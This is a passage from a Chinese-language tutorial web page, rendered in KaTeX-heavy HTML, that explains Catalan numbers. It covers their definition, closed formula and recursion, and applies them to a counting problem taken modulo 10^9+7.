style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>表示有A, B各<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>個，A永不落後B的排列方法數。組合學上有很多問題都跟卡特蘭數有關。</p><h3 id="%E5%85%AC%E5%BC%8F" tabindex="-1" id="公式">公式</h3><p>我們可以將卡特蘭數問題轉換成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>×</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">n\times n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>網格上，從左下到右上角的路徑方法數，最終可推得</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>C</mi><mi>n</mi></msub><mo>=</mo><mrow><mo fence="true">(</mo><mfrac linethickness="0px"><mrow><mn>2</mn><mi>n</mi></mrow><mi>n</mi></mfrac><mo fence="true">)</mo></mrow><mo>−</mo><mrow><mo fence="true">(</mo><mfrac linethickness="0px"><mrow><mn>2</mn><mi>n</mi></mrow><mrow><mi>n</mi><mo>+</mo><mn>1</mn></mrow></mfrac><mo fence="true">)</mo></mrow><mo>=</mo><mfrac><mn>1</mn><mrow><mi>n</mi><mo>+</mo><mn>1</mn></mrow></mfrac><mrow><mo fence="true">(</mo><mfrac linethickness="0px"><mrow><mn>2</mn><mi>n</mi></mrow><mi>n</mi></mfrac><mo fence="true">)</mo></mrow><mo separator="true">,</mo><mi>n</mi><mo>≥</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">C_n = \binom{2n}{n}-\binom{2n}{n+1} = \frac{1}{n+1}\binom{2n}{n}, n\geq 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></span></p><p>(網路上有很多教學，在此就不贅述了，反正推過你最後還是得把結果記起來)</p><h3 id="%E9%81%9E%E8%BF%B4" tabindex="-1" id="遞迴">遞迴</h3><p>卡特蘭數的遞迴式如下：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo fence="true">{</mo><mtable rowspacing="0.36em" columnalign="left left" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><msub><mi>C</mi><mn>0</mn></msub><mo>=</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><msub><mi>C</mi><mrow><mi>n</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>=</mo><msub><mi>C</mi><mn>0</mn></msub><msub><mi>C</mi><mi>n</mi></msub><mo>+</mo><msub><mi>C</mi><mn>1</mn></msub><msub><mi>C</mi><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msub><mo>+</mo><mo>⋯</mo><mo>+</mo><msub><mi>C</mi><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msub><msub><mi>C</mi><mn>1</mn></msub><mo>+</mo><msub><mi>C</mi><mi>n</mi></msub><msub><mi>C</mi><mn>0</mn></msub><mo>=</mo><msubsup><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>0</mn></mrow><mi>n</mi></msubsup><msub><mi>C</mi><mi>i</mi></msub><msub><mi>C</mi><mrow><mi>n</mi><mo>−</mo><mi>i</mi></mrow></msub><mo separator="true">,</mo><mi>n</mi><mo>≥</mo><mn>0</mn></mrow></mstyle></mtd></mtr></mtable></mrow><annotation encoding="application/x-tex">\begin{cases}C_0=1\\C_{n+1}=C_0C_n+C_1C_{n-1}+\cdots+C_{n-1}C_1+C_nC_0=\sum\limits_{i=0}^{n}C_{i}C_{n-i}, n\geq 0\end{cases}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.7691em;vertical-align:-1.6345em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-2.5em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-2.492em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.016em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.016em" style="width:0.8889em" viewBox="0 0 888.89 16" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V16 H384z M384 0 H504 V16 H384z"/></svg></span></span><span style="top:-3.15em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.292em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.016em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.016em" style="width:0.8889em" viewBox="0 0 888.89 16" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V16 H384z M384 0 H504 V16 H384z"/></svg></span></span><span style="top:-4.3em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.1345em;"><span style="top:-4.4779em;"><span class="pstrut" style="height:3.3514em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span></span></span><span style="top:-2.6945em;"><span class="pstrut" style="height:3.3514em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3514em;"><span style="top:-2.1223em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop op-symbol small-op">∑</span></span></span><span style="top:-3.95em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.6345em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><h2 id="%E5%8E%9F%E9%A1%8C%E5%88%86%E6%9E%90" tabindex="-1" id="原題分析">原題分析</h2><p>顯然<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>為奇數時答案為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>為偶數時所求即<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mfrac><mi>n</mi><mn>2</mn></mfrac></msub></mrow><annotation encoding="application/x-tex">C_{\frac{n}{2}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0741em;vertical-align:-0.3908em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3341em;"><span style="top:-2.85em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6915em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3908em;"><span></span></span></span></span></span></span></span></span></span>。<br>接著我們只需想辦法算出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mi>k</mi></msub><mtext> </mtext><mrow><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mo stretchy="false">(</mo><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn><mo stretchy="false">)</mo></mrow></mrow><annotation encoding="application/x-tex">C_k~\rm{mod}~(10^9+7)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace nobreak"> </span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace nobreak"> </span><span class="mopen">(</span><span class="mord mathrm">1</span><span class="mord"><span class="mord mathrm">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathrm mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathrm">7</span><span class="mclose">)</span></span></span></span></span>即可。而</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>C</mi><mi>k</mi></msub><mo>=</mo><mfrac><mn>1</mn><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></mfrac><mrow><mo fence="true">(</mo><mfrac linethickness="0px"><mrow><mn>2</mn><mi>k</mi></mrow><mi>k</mi></mfrac><mo fence="true">)</mo></mrow><mo>=</mo><mfrac><mn>1</mn><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></mfrac><mo>⋅</mo><mfrac><mrow><mo stretchy="false">(</mo><mi>k</mi><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>k</mi><mo>+</mo><mn>2</mn><mo stretchy="false">)</mo><mo>⋯</mo><mn>2</mn><mi>k</mi></mrow><mrow><mn>1</mn><mo>⋅</mo><mn>2</mn><mo>⋯</mo><mi>k</mi></mrow></mfrac><mo>=</mo><mfrac><mrow><mo stretchy="false">(</mo><mi>k</mi><mo>+</mo><mn>2</mn><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>k</mi><mo>+</mo><mn>3</mn><mo stretchy="false">)</mo><mo>⋯</mo><mn>2</mn><mi>k</mi></mrow><mrow><mn>1</mn><mo>⋅</mo><mn>2</mn><mo>⋯</mo><mi>k</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">C_k=\frac{1}{k+1}\binom{2k}{k}=\frac{1}{k+1}\cdot\frac{(k+1)(k+2)\cdots 2k}{1\cdot 2\cdots k}=\frac{(k+2)(k+3)\cdots 2k}{1\cdot 2\cdots k}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0908em;vertical-align:-0.7693em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span 